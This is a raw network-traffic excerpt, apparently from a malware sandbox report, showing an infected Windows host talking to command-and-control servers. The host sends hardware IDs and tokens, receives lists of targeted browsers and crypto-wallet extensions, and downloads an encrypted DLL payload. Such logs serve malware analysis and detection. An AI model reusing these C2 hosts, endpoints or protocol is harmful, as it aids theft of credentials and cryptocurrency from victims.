6b 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 49 4a 4b 46 49 4a 44 41 41 41 4b 46 48 49 45 47 2d 2d 0d 0a Data Ascii: ------CGDGIJKFIJDAAAKFHIEGContent-Disposition: form-data; name="hwid"963A1EA730DC1475902436------CGDGIJKFIJDAAAKFHIEGContent-Disposition: form-data; name="build"stok------CGDGIJKFIJDAAAKFHIEG--
Dec 23, 2024 17:18:46.727833986 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:46 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6a 45 31 59 6d 55 78 5a 44 4e 6c 4e 32 49 30 5a 6d 46 6d 4f 54 41 30 59 6d 59 30 59 57 49 31 5a 44 5a 68 4d 6a 6b 30 4f 44 4e 6c 59 54 64 6a 59 54 4d 30 59 54 59 79 59 54 68 6d 59 7a 55 30 4e 6a 45 33 4f 57 49 33 4f 44 6b 79 59 57 5a 6b 4d 7a 55 78 4d 44 67 35 5a 6a 45 78 59 7a 45 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MjE1YmUxZDNlN2I0ZmFmOTA0YmY0YWI1ZDZhMjk0ODNlYTdjYTM0YTYyYThmYzU0NjE3OWI3ODkyYWZkMzUxMDg5ZjExYzEzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 23, 2024 17:18:47.790568113 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEGCAAKFBAEGDGCBGCGH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 31 35 62 65 31 64 33 65 37 62 34 66 61 66 39 30 34 62 66 34 61 62 35 64 36 61 32 39 34 38 33 65 61 37 63 61 33 34 61 36 32 61 38 66 63 35 34 36 31 37 39 62 37 38 39 32 61 66 64 33 35 31 30 38 39 66 31 31 63 31 33 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 2d 2d 0d 0a Data Ascii: ------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="token"215be1d3e7b4faf904bf4ab5d6a29483ea7ca34a62a8fc546179b7892afd351089f11c13------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="message"browsers------IEGCAAKFBAEGDGCBGCGH--
Dec 23, 2024 17:18:48.237473011 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 23, 2024 17:18:48.237492085 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 23, 2024 17:18:48.329498053 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 31 35 62 65 31 64 33 65 37 62 34 66 61 66 39 30 34 62 66 34 61 62 35 64 36 61 32 39 34 38 33 65 61 37 63 61 33 34 61 36 32 61 38 66 63 35 34 36 31 37 39 62 37 38 39 32 61 66 64 33 35 31 30 38 39 66 31 31 63 31 33 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 2d 2d 0d 0a Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="token"215be1d3e7b4faf904bf4ab5d6a29483ea7ca34a62a8fc546179b7892afd351089f11c13------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="message"plugins------AAFIJKKEHJDHJKFIECAA--
Dec 23, 2024 17:18:48.776506901 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 23, 2024 17:18:48.776542902 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 23, 2024 17:18:48.776552916 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 23, 2024 17:18:48.776638031 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Dec 23, 2024 17:18:48.776711941 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Dec 23, 2024 17:18:48.776724100 CET	448	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Dec 23, 2024 17:18:48.778254986 CET	1236	IN	Data Raw: 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 46 38 4d 48 77 77 66 45 31 31 62 48 52 70 64 6d 56 79 63 31 67 67 52 47 Data Ascii: MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2x
Dec 23, 2024 17:18:48.778374910 CET	468	IN	Data Raw: 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 52 38 63 47 56 75 61 6d 78 6b 5a 47 70 72 61 6d 64 77 62 6d 74 73 62 47 Data Ascii: aWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3B
Dec 23, 2024 17:18:48.836764097 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGDGIIJJECFIDHJJKKF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 31 35 62 65 31 64 33 65 37 62 34 66 61 66 39 30 34 62 66 34 61 62 35 64 36 61 32 39 34 38 33 65 61 37 63 61 33 34 61 36 32 61 38 66 63 35 34 36 31 37 39 62 37 38 39 32 61 66 64 33 35 31 30 38 39 66 31 31 63 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="token"215be1d3e7b4faf904bf4ab5d6a29483ea7ca34a62a8fc546179b7892afd351089f11c13------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="message"fplugins------JEGDGIIJJECFIDHJJKKF--
Dec 23, 2024 17:18:49.290601969 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.9	49868	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:45.965313911 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:47.278284073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.9	49869	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:46.060542107 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:47.403184891 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.9	49871	185.156.73.23	80	4940	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:46.225457907 CET	388	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:47.558686018 CET	225	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:47 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 23, 2024 17:18:47.911415100 CET	393	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:48.467458010 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:48 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ 